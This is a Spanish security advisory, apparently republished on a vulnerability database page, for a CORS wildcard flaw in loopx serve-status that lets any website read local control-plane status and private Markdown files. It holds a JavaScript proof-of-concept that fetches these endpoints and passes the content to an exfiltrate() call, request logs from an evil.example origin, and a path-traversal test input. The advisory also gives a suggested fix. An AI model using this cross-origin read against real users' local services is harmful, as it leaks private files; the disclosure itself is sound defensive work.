Política CORS permisiva en serve-status de LoopX expone el estado del plano de control y archivos Markdown privados
Resumen
loopx serve-status envía Access-Control-Allow-Origin: * en cada respuesta,
incluidas sus rutas no autenticadas de GET. Debido a que el endpoint no requiere autenticación y está vinculado a un puerto de bucle invertido (loopback) fijo y conocido, cualquier sitio web que visite el operador puede leer el estado del plano de control de LoopX y el contenido de los archivos Markdown dentro de cada repositorio de objetivos registrado, utilizando un simple fetch() sin interacción del usuario.
Los endpoints de escritura no están afectados; validan correctamente el encabezado Origin. Este informe concierne estrictamente a las rutas de lectura.
Impacto
Mientras loopx serve-status esté en ejecución, una página en cualquier origen puede ejecutar:
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
const m = await (await fetch(
`http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
)).json();
exfiltrate(m.content);
}
y obtener:
GET /status.json— toda la proyección de estado: identificadores de objetivos, historial de ejecuciones y rutas absolutas locales (registry,runtime_root). Con--global-registry, esto abarca todos los proyectos registrados en la máquina, no solo uno.GET /review-material?goal_id=…&path=…— el contenido de cualquier archivo.md/.markdownubicado bajo la raíz del repositorio del objetivo, directorio de estado o directorio de tiempo de ejecución. En la práctica, esto incluye notas privadas de diseño del operador, documentos de traspaso e informes de evidencia.GET /— descubrimiento de endpoints, incluyendo qué APIs de escritura están habilitadas.POST /control-plane/configure-goal/dry-run— esta ruta no tiene ninguna comprobación de Origin, ydo_OPTIONSdevuelveAccess-Control-Allow-Headers: Content-Type, por lo que un POST JSON cross-origin supera la verificación preflight. La respuesta filtra la configuración del plano de controlbefore/afterpara un objetivo. (No realiza escrituras; se verificówritten=false).
docs/public-private-boundary.md clasifica las "rutas absolutas locales", "identificadores de tareas", "registros y métricas en bruto" y "estado activo de objetivos que revela el contexto del usuario actual" como material confidencial. Todo esto es actualmente legible por cualquier origen.
Dos factores hacen que esto sea más que teórico:
- Puertos predeterminados fijos.
8765(proyecto) y8766(global) son valores predeterminados fijados en código, por lo que una página atacante puede simplemente probar ambos, sin requerir una fase de descubrimiento. - Está documentado como un servicio persistente.
docs/guides/getting-started.mddocumentaloopx serve-status, yscripts/macos-dashboard-launchagent.shinstala un LaunchAgent que mantieneserve-status --global-registry --port 8766en ejecución tras cada inicio de sesión. Para cualquiera que siga esa guía, representa una superficie de lectura permanente y a nivel de todo el sistema.
Se ha calificado como High debido a la filtración sin interacción de material privado local desde un servicio persistente. Es de solo lectura y de alcance delimitado.
Ubicación
loopx/status_server.py:136-146 — StatusRequestHandler._send_json():
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
...
self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142
_send_json es la ruta de respuesta única para todas las rutas, por lo que el comodín se aplica por igual a /status.json, /review-material, /healthz, / y a los POST de simulación (dry-run).
do_OPTIONS (:148-153) lo repite.
Confirmado presente en main HEAD (b0c8e315, blob c9e53d1a) en el momento de la redacción.
Lo que NO está afectado
Se comprobaron y validaron los siguientes controles:
- Las operaciones de escritura están protegidas. Con
--enable-reward-write-apiy--enable-control-plane-write-apiactivos,POST /reward/appendyPOST /control-plane/configure-goal/applydevuelven 403 "only accepts loopback browser origins" ante unOriginforáneo.is_loopback_origin()cumple su cometido. No es posible la escritura cross-origin y el DNS rebinding tampoco lo elude (la página vinculada conserva su propio origen fuera de loopback). - Sin salto de directorio (path traversal).
../../../../etc/hostname→ 400; una ruta absoluta.mdfuera de las raíces del objetivo → 400 ("outside the goal repo/state/runtime roots").path_is_under()opera correctamente. - La lista blanca de extensiones funciona.
secrets.envdentro del repositorio → 400. Solo se pueden leer archivos.md/.markdown. - El modo de simulación no escribe.
configure_goal_with_global_sync(execute=False)retorna antes de cualquier escritura; se constatówritten=false.
La exposición se limita a: estado en formato JSON + archivos Markdown bajo las raíces de objetivos registrados. Aunque es material privado, no constituye lectura arbitraria de archivos ni ejecución remota de código.
Prueba de concepto (PoC)
Ejecutado contra un clon sin modificar en HEAD, con parámetros predeterminados (sin APIs de escritura habilitadas):
GET /healthz Origin: https://evil.example -> 200 ACAO: '*'
GET / Origin: https://evil.example -> 200 ACAO: '*'
GET /status.json Origin: https://evil.example -> 200 ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
Origin: https://evil.example -> 200 ACAO: '*'
content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
El contenido del archivo se devolvió íntegro a un origen externo. Controles correspondientes con el mismo entorno, con ambos parámetros de escritura habilitados:
POST /reward/append Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check)
GET /review-material ../../../../etc/hostname -> 400 (traversal blocked)
GET /review-material <abs path outside roots>.md -> 400 (root check)
GET /review-material secrets.env -> 400 (extension check)
GET /status.json Origin: https://evil.example -> 200 ACAO '*' <-- still readable
El script del entorno de prueba consta de aproximadamente 120 líneas de Python estándar y no modifica ningún archivo del repositorio.
Corrección sugerida
Ya existe la condición adecuada en este archivo: is_loopback_origin(). La corrección mínima consiste en dejar de emitir el comodín y, en su lugar, reflejar el origen de la solicitud solo cuando supere dicha comprobación:
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
origin = self.headers.get("Origin")
if origin and is_loopback_origin(origin):
self.send_header("Access-Control-Allow-Origin", origin)
self.send_header("Vary", "Origin")
# no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
self.end_headers()
self.wfile.write(body)
y lo mismo en do_OPTIONS. Esto mantiene operativo el panel de control —servido desde http://127.0.0.1:5174 y consultando 127.0.0.1:8765/8766, lo que constituye un acceso cross-origin entre dos puertos de loopback— mientras rechaza cualquier origen que no sea loopback.
Dos pasos opcionales de mitigación adicional:
- Aplicar la comprobación existente
is_loopback_origin()también aPOST /control-plane/configure-goal/dry-runyPOST /reward/dry-run, impidiendo la lectura cross-origin de la proyección de configuración. - Añadir una comprobación de encabezado
Host(rechazando unHostque no sea de loopback) para cerrar la posibilidad de DNS rebinding frente a clientes que no envíenOrigin.
Alcance de la revisión
Se revisaron los puntos de entrada 26/52 identificados a través de 758 archivos (360,618 LOC) del paquete loopx y panel de control; herramientas: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, además de un análisis manual de flujo de datos. Se omitieron: tests/, regression/, examples/, docs/ y los adaptadores de benchmarks bajo loopx/benchmark_adapters/. Nivel de confianza de cobertura: parcial.
Otros aspectos revisados en los que no se hallaron problemas: autoactualización (curl | bash mediante HTTPS a una URL fija raw.githubusercontent.com; la anulación de LOOPX_ARCHIVE_URL requiere control de variables de entorno, es decir, privilegios preexistentes); instalación de habilidades de comandos/slash de proyecto (expresión regular estricta de ID y contención _assert_project_boundary()); ejecución periódica del worker shell=True (el valor es por diseño un comando de shell configurado por el usuario, y demo_supervisor.build_visible_worker_turn_command pasa el objetivo a través de shlex.quote); superficies SSRF salientes (content_ops/surface.py bloquea rangos privados/loopback/link-local y rechaza redirecciones). Sin pickle, yaml.load, eval ni os.system en ningún punto del paquete.
Los avisos de dependencias 3 solo existen en herramientas de desarrollo/documentación (pymdown-extensions, idna, postcss); ninguno es alcanzable desde el paquete en tiempo de ejecución, el cual no declara dependencias.
Detectado por
Aeon,) mediante revisión automatizada de seguridad. Los hallazgos se reprodujeron en HEAD y se verificaron manualmente antes de su reporte. Reportado de forma privada a través de GitHub PVR al ser el canal de recepción designado en SECURITY.md.
Qué hacer
Actualice loopx a la versión 0.4.5 o superior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | loopx | >= 0.0.1, < 0.4.5 | 0.4.5 |
Referencias
- https://github.com/huangruiteng/loopx/security/advisories/GHSA-vx2m-gpq4-8j5q
- https://github.com/loopx-project/loopx/security/advisories/GHSA-vx2m-gpq4-8j5q
- https://nvd.nist.gov/vuln/detail/CVE-2026-108372
- https://github.com/loopx-project/loopx/pull/3137
- https://github.com/loopx-project/loopx/commit/838720fba42bd22f71b5bb763ec406f7bdf4c940
- https://github.com/huangruiteng/loopx
- https://github.com/loopx-project/loopx/releases/tag/v0.4.5
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-346, CWE-942- Plataforma
- Python (PyPI)
- Paquete
loopx- Publicada
- 19.10.2026
- Actualizado
- 20.10.2026 09:52
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-vx2m-gpq4-8j5q - CC BY 4.0
Historial de vulnerabilidades: loopx
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
Esta es la única vulnerabilidad conocida de este paquete.
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.